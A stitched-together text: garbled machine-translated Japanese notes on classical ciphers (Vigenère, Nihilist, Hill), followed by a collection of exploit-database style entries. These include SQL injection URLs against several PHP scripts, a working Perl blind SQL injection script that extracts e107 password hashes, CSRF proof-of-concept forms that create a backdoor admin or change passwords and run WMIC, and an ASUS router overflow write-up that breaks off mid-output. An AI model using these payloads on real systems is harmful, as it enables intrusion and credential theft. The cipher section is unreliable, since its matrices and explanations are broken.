この時点で、プレーンテキストで繰り返される要素は、暗号テキストでは繰り返されません。ただし、キーが同じ場合、結果は(キーABCDを使用)になる可能性があります。
キー:ABCDAB CD ABCDA BCD ABCDABCD
プレーンテキスト:暗号は暗号化の略です
パスワード:CSASTP KV SIQUT GQU CSASTPIUAQJB
この時点で、Kassiskyテストは結果を生み出すことができます。この方法は、通常、より長い段落でより効果的です。通常、暗号文にはより繰り返しのセグメントがあります。次の暗号文を使用してキーの長さを解読できる場合:
パスワード:dyduxrmhtvdvnqdqnwduxrmhartjgwnqd
その中で、2つのdyduxrmhsの外観は18文字離れています。したがって、キーの長さは18の除数であると想定できます。つまり、長さは18、9、6、3、または2です。2つのNQDは20文字離れています。つまり、キーの長さは20、10、5、4、または2である必要があります。
より詳細なひび割れの原則に関しては、当面の間、あまり紹介することはありません。
nihilist
既知のキーPython Decrypts OnlineVigenèreCiphercap4未知のキーvigenèreciphercipher codebreakervigenereソルバーのPycipherライブラリ、十分ではありません。
原理
ヒル
ニヒリストのパスワードは、キーワードパスワードとしても知られています。例としてキーワードHelloWorldを使用してください。
まず、キーを使用してボードマトリックスを構築します(Polybiusパスワードと同様) - 新しい5×5マトリックスを作成します - 繰り返されることなくマトリックスに文字を順番に入力します - 残りをアルファベット順に埋める - 文字iとjは同等です
123451HELOW2RDABC3FGI/JKM4NPQST5UVXYZ暗号化プロセスリファレンスマトリックスM:
A -M [2,3] -23
T -M [4,5] -45
復号化プロセス用
参照マトリックスMを復号化する:
23 -m [2,3] -a
45 -m [4,5] -t
ciphertextの特性は次のとおりであることがわかります
純粋な数字には、偶数の偶発的な長さの1から5。
原理
3
ツール
のみが含まれています。ヒルパスワード(丘)は、アルファベット内の各文字の順序を対応する数字として使用します。 26.暗号化として使用されるマトリックス(つまり、キー)はZn26Z26Nでは可逆的でなければならないことに注意してください。そうしないと、デコードすることは不可能です。マトリックスの決定要因と26の共重力のみが可逆的です。これが例です
プレーンテキスト:行為
明の文化をマトリックスに入れてください。
⎡⎢⎣0219⎤⎥⎦[0219]キーは次のとおりです。
⎡⎢⎣6241131610201715⎤⎥⎦[6241131610201715]暗号化プロセスは次のとおりです。
⎡⎢⎣6241131610201715⎤⎥⎦⎡⎢⎣0219⎤⎥⎦α672222319⎤⎥⎦α15147⎤⎥⎦⎥⎦MOD26[6241131610201715] [0219]¹[67222319]するまった
パスワード:POH
例
cap4cryptool 010-1010ここでは、ISCC 2015 Base Decrypt 150を例として紹介します。タイトルはです
パスワード:
# # # # #
# Exploit Title: Travel Tours Script v2.0 - SQL Injection
# Google Dork: N/A
# Date: 11.03.2017
# Vendor Homepage: https://www.phpjabbers.com/
# Software: https://www.phpjabbers.com/travel-tours-script/
# Demo: http://demo.phpjabbers.com/index.php?demo=vpl&front=1&lid=1
# Version: 2.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/front.php?controller=pjListings&action=pjActionIndex&sortby=stars&direction=[SQL]&listing_search=1&type=[SQL]&rating_from=[SQL]&rating_to=[SQL]&price_from=[SQL]&price_to=[SQL]
# Etc..
# # # # #
# # # # #
# Exploit Title: Property Listing Script v3.1 - SQL Injection
# Google Dork: N/A
# Date: 11.03.2017
# Vendor Homepage: https://www.phpjabbers.com/
# Software: https://www.phpjabbers.com/property-listing-script/
# Demo: http://demo.phpjabbers.com/index.php?demo=pls&front=1&lid=1
# Version: 3.1
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/preview.php?controller=pjListings&action=pjActionProperties&listing_search=1&min_bedrooms=1[SQL]&max_bedrooms=1[SQL]&min_bathrooms=1[SQL]&max_bathrooms=2[SQL]
# Etc..
# # # # #
# # # # #
# Exploit Title: Pet Listing Script v3.0 - SQL Injection
# Google Dork: N/A
# Date: 11.03.2017
# Vendor Homepage: https://www.phpjabbers.com/
# Software: https://www.phpjabbers.com/pet-listing-script/
# Demo: http://demo.phpjabbers.com/index.php?demo=petls&front=1&lid=1
# Version: 3.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/preview.php?controller=pjListings&action=pjActionIndex&listing_search=1&year_from=2017[SQL]&year_to=2017[SQL]
# Etc..
# # # # #
# # # # #
# Exploit Title: Vanelo – Wanelo Clone - SQL Injection
# Google Dork: N/A
# Date: 11.03.2017
# Vendor Homepage: https://www.zoplay.com/
# Software: https://www.zoplay.com/web/trending-marketplace-website/
# Demo: http://wanelo.zoplay.com/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/shopby/IhsanSencan?q=[SQL]
# Duplicate entry 'waneloclone
# Etc..
# # # # #
# # # # #
# Exploit Title: Global In - Arbitrary File Upload
# Google Dork: N/A
# Date: 11.03.2017
# Vendor Homepage: https://www.techbizstudio.com/
# Software: https://www.techbizstudio.com/product/linkedin-clone/
# Demo: https://www.techbizstudio.com/demo/globalin/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# Exploit :
# Login as regular user
# http://localhost/[PATH]/dashboard
# Upload Photo / File.php
# http://localhost/[PATH]/post-images/1113330455_File.php
# Etc..
# # # # #
# # # # #
# Exploit Title: Global In – A LinkedIn Clone - SQL Injection
# Google Dork: N/A
# Date: 11.03.2017
# Vendor Homepage: https://www.techbizstudio.com/
# Software: https://www.techbizstudio.com/product/linkedin-clone/
# Demo: https://www.techbizstudio.com/demo/globalin/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/hsearch?accept=true&fnm=[SQL]&lnm=[SQL]
# http://localhost/[PATH]/search?type=company&key=[SQL] [Login as regular user]
# http://localhost/[PATH]/search?type=people&key=[SQL]&fnm=[SQL]&lnm=[SQL]&title=[SQL]&com=[SQL]&sc=[SQL]&co=[SQL]&industry=[SQL] [Login as regular user]
# tb_admin :id
# tb_admin :username
# tb_admin :email
# tb_admin :password
# tb_admin :ip_address
# tb_admin :is_active
# Etc..
# # # # #
# # # # #
# Exploit Title: Domain Marketplace Script - SQL Injection
# Google Dork: N/A
# Date: 11.03.2017
# Vendor Homepage: http://scripteen.com/
# Software: http://scripteen.com/item/scripts/scripteen-domain-marketplace-script.html
# Demo: http://dwm.domainauctionsscript.com/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?page=websites_for_sale&cat=[SQL]
# users :userId
# users :data
# users :payment_date
# users :expiration_date
# users :username
# users :password
# users :nume
# users :adresa
# Etc..
# # # # #
#!/usr/bin/perl
#
#
# e107 <= 2.1.4 "keyword" Blind SQL Injection Exploit
#
# --------------------------------------------------------------------------
# [*] Discovered by staker - staker[at]hotmail[dot]it
# [*] Discovered on 09/03/2017
# [*] Site Vendor: http://www.e107.org
# [*] BUG: Blind SQL Injection
# --------------------------------------------------------------------------
#
#
# Description
# -------------------------------------------------------------------------
# e107 contains one flaw that allows an attacker to carry out an SQL
# injection attack. The issue is due to the "e107_plugins/pm/pm.php" script
# not properly saniting user-supplied input to the "keyword" POST variable
# This may allow an attacker to inject or manipulate sql queries in
# the backend database regardless of php.ini settings
# -------------------------------------------------------------------------
# SHORT EXPLANATION
# -----------------------------------
#
# FILE: "e107_handlers/core_functions.php"
#
# 76. function vartrue(&$val, $default='')
# 77. {
# 78. if (isset($val) && $val) { return $val; } {1} <--- variable is not sanized to be sent at the mysql database
# 79. return $default;
# 80.}
#
# ----------------------------------
#
# FILE: "e107/e107_plugins/pm/pm.php"
#
#
# 35. if(vartrue($_POST['keyword'])) {2}<--- if $_POST keyword variable is set, then e107 starts pm_user_lookup() function.
# 36. {
# 37. pm_user_lookup();
# 38.}
#
#
#
# 615. function pm_user_lookup()
# 616. {
# 617. $sql = e107::getDb();
# 618.
# 619. $query = "SELECT * FROM #user WHERE user_name REGEXP '^".$_POST['keyword']."' "; {3} <---- variable not sanized
# 620. if($sql->gen($query))
# 621. {
# 622. echo '[';
# 623 while($row = $sql->fetch())
# 624. {
# 625. $u[] = "{\"caption\":\"".$row['user_name']."\",\"value\":".$row['user_id']."}";
# 626. }
# 627.
# 628. echo implode(",",$u);
# 629. echo ']';
# -----------------------------------
#
#
# use your brain..
#
# Greetz to: Warwolfz Crew,
# meh, Dante90, SHADES MASTER and nexen
#
# -- 0gay --
#
# -----------------------------------
# YOUR MOM IS NOT SAFE ANYMORE!!
# CALL HER!!
# -----------------------------------
use strict;
use IO::Socket::INET;
use LWP::UserAgent;
my ($URL,$uid) = @ARGV;
my @chars = (8..122);
my ($i,$ord,$hash) = (1,undef,undef);
if (@ARGV != 2) { usage(); }
$URL = parse::URL($URL);
syswrite (STDOUT,"[-] Crypted Password: ");
for ($i=0;$i<=60;$i++)
{
foreach $ord (@chars)
{
if (e107::Query(sql($i,$ord),$URL) == 666 )
{
syswrite (STDOUT,chr($ord));
$hash .= chr($ord);
last;
}
if ($i == 2 and not defined $hash)
{
syswrite (STDOUT,"\n[-] Exploit Failed");
exit;
}
}
}
if (length($hash) == 60) {
die "\[-]Exploit Successfully";
}
else {
die "\n[-] Exploit Failed";
}
sub e107::Query
{
# 1st parameter, sql query
# 2nd parameter, e107 website
my ($query,$URL) = @_;
my $response = undef;
my $lwp = new LWP::UserAgent;
$lwp->default_header('User-Agent' => 'Lynx (textmode)');
$response = $lwp->post($URL."/pm/",
[
keyword => $query
]) or die $!;
if ($response->content =~ /caption/) {
return 666;
}
else {
return 0;
}
}
sub parse::URL
{
my $string = shift @_ || die($!);
if ($string !~ /^http:\/\/?/i) {
$string = 'http://'.$string;
}
return $string;
}
sub sql
{
# 1st parameter, an e107's userid
# 2nd parameter substring number
# 3rd parameter charcode number
my ($i,$j,$sql) = (shift,shift,undef);
$sql = "' AND ASCII(SUBSTRING((SELECT user_password FROM e107_user WHERE user_id=".$uid."),".$i.",1))=".$j."#";
return $sql;
}
sub e107::Cookies
{
my ($username,$password) = @_;
my ($packet,$content);
my $host = "127.0.0.1"; # Valid Host (insert it manually)
my $path = "/e107/"; # Valid e107 path (insert it manually)
my $data = "username=",$username."&userpass=".$password."&userlogin=Sign+In";
my $socket = new IO::Socket::INET(
PeerAddr => $host,
PeerPort => 80,
Proto => 'tcp',
) or die $!;
$packet .= "POST ".$path."/login.php HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "User-Agent: Lynx (textmode)\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Content-Length:".length($data)."\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet.= $data;
$socket->send($packet);
while (<$socket>) {
$content .= $_;
}
if ($content =~ /Set-Cookie: (.+?)/) {
return $1;
}
else {
die("[-] Login Failed..\n");
}
# This function is useful to log-in and retrieves your cookies, but you don't need it for this exploit.
# it works without log-in, but if you got some trouble, try to use this one.
# e107::Login('YOUR USERNAME','YOUR PASSWORD');
}
sub usage() {
print "[*---------------------------------------------------------*]\n".
"[* e107 <= 2.1.4 'keyword' Blind SQL Injection Exploit *]\n".
"[*---------------------------------------------------------*]\n".
"[* Usage: perl web.pl [host] [uid] *]\n".
"[* *]\n".
"[* Options: *]\n".
"[* [host] insert a valid host *]\n".
"[* [uid] insert a userid *]\n".
"[*---------------------------------------------------------*]\n";
exit;
}
<!--
KL-001-2017-004 : WatchGuard XTMv User Management Cross-Site Request Forgery
Title: WatchGuard XTMv User Management Cross-Site Request Forgery
Advisory ID: KL-001-2017-004
Publication Date: 2017.03.10
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-004.txt
1. Vulnerability Details
Affected Vendor: WatchGuard
Affected Product: XTMv
Affected Version: v11.12 Build 516911
Platform: Embedded Linux
CWE Classification: CWE-352: Cross-Site Request Forgery (CSRF)
Impact: Privileged Access
Attack vector: HTTP
2. Vulnerability Description
Lack of CSRF protection in the Add User functionality of the
XTMv management portal can be leveraged to create arbitrary
administrator-level accounts.
3. Technical Description
As observed below, no CSRF token is in use when adding a new
user to the management portal.
POST /put_data/ HTTP/1.1
Host: 1.3.3.7:8080
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 365
Cookie: session_id=50f607247265897581a407bfb8b75e30d2b77287
DNT: 1
Connection: close
{"__class__":"PageSystemManageAdminUsersObj","__module__":"modules.scripts.page.system.PageSystemManageAdminUsersObj","users":[],"add_entries":[{"__class__":"AdminUserObj","__module__":"modules.scripts.vo.AdminUserObj","name":"hacked","domain":"Firebox-DB","role":"Device
Administrator","hash":"hacked","enabled":1,"rowindex":-1}],"upd_entries":[],"del_entries":[]}
The HTTP response indicates that the changes were successful.
HTTP/1.1 200 OK
X-Frame-Options: SAMEORIGIN
Content-Length: 68
Expires: Sun, 28 Jan 2007 00:00:00 GMT
Vary: Accept-Encoding
Server: CherryPy/3.6.0
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Date: Sat, 10 Dec 2016 18:08:22 GMT
Content-Type: application/json
Set-Cookie: session_id=50f607247265897581a407bfb8b75e30d2b77287; expires=Sat, 10 Dec 2016 19:08:22 GMT; httponly;
Path=/; secure
Connection: close
{"status": true, "message": ["The changes were saved successfully"]}
Now, the newly created backdoor account can be accessed.
POST /agent/login HTTP/1.1
Host: 1.3.3.7:8080
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: text/xml
X-Requested-With: XMLHttpRequest
Content-Length: 414
Cookie: sessionid=515F007C5BD062C2122008544DB127F80000000C; session_id=0a3d24668f5c3b2c7ba7016d179f5f574e1aaf53
DNT: 1
Connection: close
<methodCall><methodName>login</methodName><params><param><value><struct><member><name>password</name><value><string>hacked</string></value></member><member><name>user</name><value><string>hacked</string></value></member><member><name>domain</name><value><string>Firebox-DB</string></value></member><member><name>uitype</name><value><string>2</string></value></member></struct></value></param></params></methodCall>
The response below shows the application issuing an authenticated
session cookie.
HTTP/1.1 200 OK
X-Frame-Options: SAMEORIGIN
Content-type: text/xml
Set-Cookie: sessionid=74B0DC5119495CFF2AE8944A625558EC00000008;secure;HttpOnly
Connection: close
Date: Sat, 10 Dec 2016 19:55:26 GMT
Server: none
Content-Length: 751
<?xml version="1.0"?>
<methodResponse>
<params>
<param>
<value>
<struct>
<member><name>sid</name><value>74B0DC5119495CFF2AE8944A625558EC00000008</value></member>
<member><name>response</name><value></value></member>
<member>
<name>readwrite</name>
<value><struct>
<member><name>privilege</name><value>2</value></member>
<member><name>peer_sid</name><value>0</value></member>
<member><name>peer_name</name><value>error</value></member>
<member><name>peer_ip</name><value>0.0.0.0</value></member>
</struct></value>
</member>
</struct>
</value>
</param>
</params>
</methodResponse>
4. Mitigation and Remediation Recommendation
The vendor has remediated this vulnerability in WatchGuard
XTMv v11.12.1. Release notes and upgrade instructions are
available at:
https://www.watchguard.com/support/release-notes/fireware/11/en-US/EN_ReleaseNotes_Fireware_11_12_1/index.html
5. Credit
This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc. and Joshua Hardin.
6. Disclosure Timeline
2017.01.13 - KoreLogic sends vulnerability report and PoC to
WatchGuard.
2017.01.13 - WatchGuard acknowledges receipt of report.
2017.01.23 - WatchGuard informs KoreLogic that the
vulnerability will be addressed in the forthcoming
v11.12.1 firmware, scheduled for general
availability on or around 2017.02.21.
2017.02.22 - WatchGuard releases v11.12.1.
2017.03.10 - KoreLogic public disclosure.
7. Proof of Concept
-->
<html>
<body>
<form action="https://1.3.3.7:8080/put_data/" method="POST" enctype="text/plain">
<input type="hidden"
name="{"__class__":"PageSystemManageAdminUsersObj","__module__":"modules.scripts.page.system.PageSystemManageAdminUsersObj","users":[],"add_entries":[{"__class__":"AdminUserObj","__module__":"modules.scripts.vo.AdminUserObj","name":"hacked3","domain":"Firebox-DB","role":"Device Administrator","hash":"hacked3","enabled":1,"rowindex":-1}],"upd_entries":[],"del_entries":[]}"
value="" />
<input type="submit" value="Trigger" />
</form>
</body>
</html>
<!--
The contents of this advisory are copyright(c) 2017
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/
KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html
Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt
-->
Title: Multiple vulnerabilities discovered in dnaLIMS DNA sequencing
web-application
Advisory URL: https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims/
Date published: Mar 08, 2017
Vendor: dnaTools, Inc.
CVE IDs: [2017-6526, 2017-6527, 2017-6528, 2017-6529]
USCERT VU: 929263
Vulnerability Summaries
1) Improperly protected web shell [CVE-2017-6526]
dnaLIMS requires authentication to view cgi-bin/dna/sysAdmin.cgi, which is
a web shell included with the software running as the web user. However,
sending a POST request to that page bypasses authentication checks,
including the UID parameter within the POST request.
2) Unauthenticated Directory Traversal [CVE-2017-6527]
The viewAppletFsa.cgi seqID parameter is vulnerable to a null terminated
directory traversal attack. This allows an unauthenticated attacker to
retrieve files on the operating system accessible by the permissions of the
web server. This page also does not require authentication, allowing any
person on the Internet to exploit this vulnerability.
3) Insecure Password Storage [CVE-2017-6528]
An option, which is most likely the default, allows the password file
(/home/dna/spool/.pfile) to store clear text passwords. When combined with
the unauthenticated directory traversal vulnerability, it is possible to
gain the username and password for all users of the software and gain
complete control of the software.
4) Session Hijacking [CVE-2017-6529]
Each user of the dnaLIMS software is assigned a unique four-digit user
identification number(UID) upon account creation. These numbers appear to
be assigned sequentially. Multiple pages of the dnaLIMS application require
that this UID be passed as a URL parameter in order to view the content of
the page.
Consider the following example:
The URL ahttp://<SERVER NAME
REDACTED>/cgi-bin/dna/seqreq2N.cgi?username=61685578,2410a is a valid URL
to view the page for sequencing requests for the user with the UID of 2410. The
username parameter of the URL is the mechanism for authentication to the
system. The first eight-digit number of the username parameter appears to
be a session identifier as it changes every time the user logs in from the
password.cgi page, however this value is not checked by the seqreq2N.cgi
page. This allows an attacker to guess the four-digit UID of valid user
accounts that have an active session. The user with the UID of 2419
currently has an active session, so we can simply hijack this useras
session by requesting this page and specifying the UID 2419.
5) Cross-site Scripting
The seqID parameter of the viewAppletFsa.cgi page is vulnerable to a
reflected cross site scripting attack via GET request as seen in the
following URL:
http://<SERVER NAME REDACTED>/cgi-bin/dna/viewAppletFsa.cgi?seqID=7415-7<SCRIPT
Alert("XSS") </SCRIPT>
6) Cross-site Scripting
The navUserName parameter of the seqTable*.cgi page is vulnerable to a
reflected cross site scripting attack via POST request as seen in the
example below. The * reflects a short name for a client, (ie Shorebreak
Security may be seqTableSS.cgi or seqTableshorebreak.cgi) and may not be
vulnerable for all dnaLIMS installs.
7) Improperly Protected Content
Many of the pages within the admin interface are not properly protected
from viewing by authenticated users. This can give an attacker additional
system information about the system, or change system/software
configuration.
Software was conducted on a live production system, therefore the pages
themselves were tested, forms within these pages were not.
This is also not an exhaustive list of improperly protected pages:
cgi-bin/dna/configuration.cgi
cgi-bin/dna/createCoInfo.cgi
cgi-bin/dna/configSystem.cgi
cgi-bin/dna/combineAcctsN.cgi
Disclosure Timeline
Thu, Nov 10, 2016 at 4:25 PM: Reached out to vendor requesting PGP key to
securely exchange details of vulnerabilities identified
Thu, Nov 10, 2016 at 4:55 PM: Vendor requests report be physically mailed
to PO box via Postal Service
Wed, Nov 16, 2016, at 11:14 AM: Report mailed to vendor via USPS Certified
Mail
Thu, Dec 8, 2016, at 10:43 AM: Request Vendor acknowledge receipt of the
report
Thu, Dec 8, 2016, at 12:53 PM: Vendor acknowledges receiptI3/4 suggests
placing the software behind a firewall as a solution to the vulnerabilities.
Thu, Dec 8, 2016, at 1:54 PM: Reply that the offered solution mitigates
some risk, but does not address the vulnerabilitiesI3/4 inquire if there is a
plan to address the vulnerabilities
Thu, Dec 8, 2016, at 3:13 PM: Vendor replies aa|Yes, we have a plan. Please
gather a DNA sequence, PO Number, or Fund Number and go to your local
grocery store and see what it will buy you.a
Tue, Feb 28, 2017, at 1:15 PM: Vulnerabilities disclosed to US-CERT
Tue, Mar 7, 2017, at 8:19 AM: Vulnerabilities submitted to MITRE for CVE
assignment
Wed, Mar 8, 2017, at 12:00 PM: Vulnerabilities disclosed publicly
##################################################################
# Exploit Title: Kinsey Infor / Lawson (ESBUS) - Multiple SQL Injections
##################################################################
# Date: 3/10/2017
##################################################################
# Exploit Author: Michael Benich
##################################################################
# Vendor homepage: http://www.kinsey.com/infor-lawson.html
##################################################################
# Version: ALL
##################################################################
# Tested on: Windows Server 2008 R2; MySQL ver 5.5
##################################################################
# CVE: CVE-2017-6550
##################################################################
Kinsey's Infor-Lawson application (formerly ESBUS) is vulnerable to SQL injection in at least two parameters:
1) TABLE parameter, PoC below
GET /esbus/servlet/GetSQLData?SCHEMA=ESBUS_INTERNAL&TABLE=SCHEDULEDTASKS UNION ALL SELECT <<ATTACKER INPUT>>&FIELD=LASTRUN&NOHEADER=1&SELECT=CLASS=com.esbus.appliance.SOD_PolicyCheck_SystemRun_TimerTask&OUT=XML HTTP/1.1
2) Query POST parameter
POST /KK_LS9ReportingPortal/GetData?SERVERID=%27;LSF_PROD& HTTP/1.1
<--snip--http headers-->
QUERY=1 AND SLEEP(5) AND ('foo'='foo')) &OUT=TAB
A JSP webshell can then be written to the /esbus/ directory.
##################################################################
Timeline:
12/1/2016 - Contacted generic security emails
12/1/2016 - Received response from vendor ("Thanks for the info...")
2/27/2017 - Followed up with contact and intent to disclose. No reply.
3/10/2017 - Disclosure
##################################################################
<!--
[+] Credits: John Page AKA hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/FTP-VOYAGER-SCHEDULER-CSRF-REMOTE-CMD-EXECUTION.txt
[+] ISR: ApparitionSec
Vendor:
==============
solarwinds.com
www.serv-u.com
Product:
====================
FTP Voyager Scheduler
v16.2.0
Vulnerability Type:
=============================
CSRF Remote Command Execution
CVE Reference:
==============
N/A
Security Issue:
================
Multiple cross site request forgeries exist in the Web Interface side of FTP Voyager Scheduler running on port 52986.
Allowing remote attackers to make HTTP requests on behalf of an authenticated user if that user visits a malicious
webpage or clicks an attacker supplied link.
FTP Voyager has a scheduler feature that lets users create tasks/commands to execute on some type of other action like
when Directorys are created, files uploaded/downloader, Scheduler starts or stops and so forth. Remote attackers who
successfully pull off CSRF exploitation can do things like change the Admin password or cause a persistent Denial of Service
by setting the task to terminate "FTP Voyager Scheduler" itself upon startup among other nefarious things.
Exploit/POC:
=============
Default login no password, then set a password in FTP Voyager Scheduler Web interface.
Upon CSRF the user will get a HTTP Response will be like below, we can prevent user from seeing this message
targeting hidden iframe in webpage.
<response><result>0</result><ResultText>Operation was successful.</ResultText><ObjectID>141175</ObjectID></response>
1) Change Admin passwd
-->
<iframe name="hideme" style="display:none" ></iframe>
<form target="hideme" action="http://localhost:52986/Admin/XML/Result.xml?Command=UpdateObject&Object=CScheduler.0.Scheduler.0&StaticOnly=1&Sync=666" method="post">
<input type="hidden" name="AdminPassword" value="PWN123">
<input type="hidden" name="ConfirmAdminPassword" value="PWN123">
<input type="hidden" name="RemoteAdmin" value="1">
<input type="hidden" name="RemoteAdminPort" value="52986">
<input type="hidden" name="RemoteAdminSSL" value="0">
<script>document.forms[0].submit()</script>
</form>
2) Persistent Denial Of Service uses call to WMIC
<form action="http://localhost:52986/Admin/XML/Result.xml?Command=AddObject&Object=CEventAttrs.0.FVSEvent&Sync=666" method="post">
<input type="hidden" name="EventName" value="PWN">
<input type="hidden" name="Description" value="Run Command!">
<input type="hidden" name="Enabled" value="1">
<input type="hidden" name="EventID" value="1"> <!-- Run on Scheduler Start event -->
<input type="hidden" name="Action" value="2">
<input type="hidden" name="multiselect_Action" value="2">
<input type="hidden" name="EmailToAddress" value="evil@gods.abyss">
<input type="hidden" name="EmailToAddressBCC" value="">
<input type="hidden" name="ExeFilePath" value="C:\Windows\System32\wbem\WMIC.exe">
<input type="hidden" name="ExecWaitSecs" value="5">
<input type="hidden" name="Data1" value="process where name='FTP Voyager Scheduler.exe' call terminate">
<input type="hidden" name="Data2" value="&">
<script>document.forms[0].submit()</script>
</form>
<!--
Network Access:
===============
Remote
Severity:
=========
High
Disclosure Timeline:
=======================================
Vendor Notification: November 30, 2016
Result: No Reply
Second Notification Attempt: March 5, 2017
Result:
March 9, 2017 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c)
hyp3rlinx
-->
Remote Code Execution
Component: networkmap
CVE: CVE-2017-6548
networkmap is responsible for generating a map of computers connected to the router. It continuously monitors the LAN to detect ARP requests submitted by unknown computers. When a new MAC address appears it will probe the related IP address for running services like printer sharing, http server and also iTunes servers.
This is implemented by sending out multicast SSP discoveries:
M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
ST:upnp:rootdevice
MAN:"ssdp:discover"
MX:3
A device can then respond with messages which indicate the location of the iTunes service.
HTTP/1.1 200 OK
Location:HTTP://host:port/path
Vulnerability:
The function process_device_repsonse is responsible for parsing the SSDP answer:
/************************************************************************************************/
// process the device response "HTTP/1.1 200 OK"
int process_device_response(char *msg)
{
char *line, *body, *p; // temporary variables
char *location = NULL; // the LOCATION: header
char host[16], port[6]; // the ip and port of the device
ushort destport; // the integer type of device port
char *data = NULL; // the data in packet
int http_fd; // the http socket fd
int nbytes; // recv number
int i;
char *descri = NULL;
int len;
struct timeval timeout={10, 0};
//search "\r\n\r\n" or "\r\n" first appear place and judge whether msg have blank.
if( (body = strstr(msg, "\r\n\r\n")) != NULL)
body +=4;
else if ( (body = strstr(msg, "\r\n")) != NULL)
body +=2;
else
return 0;
p = msg;
// find the LOCATION information.
while( p!= NULL && p < body)
{
line = strsep(&p, "\r\n"); //divide up string
if((strncmp(line, "LOCATION:", 9) == 0) || (strncmp(line, "Location:", 9) == 0))
{
location = strip_chars(&line[9], "\t");
location = strip_chars(&line[9], " ");
break;
}
}
NMP_DEBUG_F("UPnP location=%s\n", location);
//fprintf(fp_upnp, "UPnP location=%s\n", location);//Yau
// get the destination ip
location += 7;
i = 0;
while( (*location != ':') && (*location != '/')) {
host[i] = *location++;
i++;
}
host[i] = '\0';
//get the destination port
if(*location == ':') {
for(location++, i =0; *location != '/'; i++)
port[i] = *location++;
port[i] = '\0';
destport = (ushort)atoi(port);
}
else
destport = 80;
It contains multiple buffer overflows in the parsing code for host and port. This stack-based overflow can be used to gain control over networkmap’s control flow by overwriting the saved $pc stored on the stack.
Parsing this message:
HTTP/1.1 200 OK
Location:HTTP://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/
will overflow host[16] and lead to $pc being set to 0x41414141 which is a starting point for further exploitation.
Exploitation:
In order to develop a working exploit we gather further information of the system.
General Information:
ASUSWRT is based on Linux which is running on a little endian MIPS CPU. The vulnerable program networkmap gets automatically started when the device boots and additionally gets restarted by the watchdog process if it crashes.
# cat /proc/cpuinfo
system type : MT7620
processor : 0
cpu model : MIPS 24Kc V5.0
BogoMIPS : 386.04
wait instruction : yes
microsecond timers : yes
tlb_entries : 32
extra interrupt vector : yes
hardware watchpoint : yes, count: 4, address/irw mask: [0x0000, 0x0ff8, 0x0ff8, 0x0ff8]
ASEs implemented : mips16 dsp
shadow register sets : 1
core : 0
VCED exceptions : not available
VCEI exceptions : not available
# ps
PID USER VSZ STAT COMMAND
1 admin 3940 S /sbin/init
2 admin 0 SW [kthreadd]
3 admin 0 SW [ksoftirqd/0]
4 admin 0 SW [kworker/0:0]
5 admin 0 SW [kworker/u:0]
6 admin 0 SW< [khelper]
7 admin 0 SW [sync_supers]
8 admin 0 SW [bdi-default]
9 admin 0 SW< [kintegrityd]
10 admin 0 SW< [kblockd]
11 admin 0 SW [kswapd0]
12 admin 0 SW [fsnotify_mark]
13 admin 0 SW< [crypto]
17 admin 0 SW [mtdblock0]
18 admin 0 SW [mtdblock1]
19 admin 0 SW [mtdblock2]
20 admin 0 SW [mtdblock3]
21 admin 0 SW [mtdblock4]
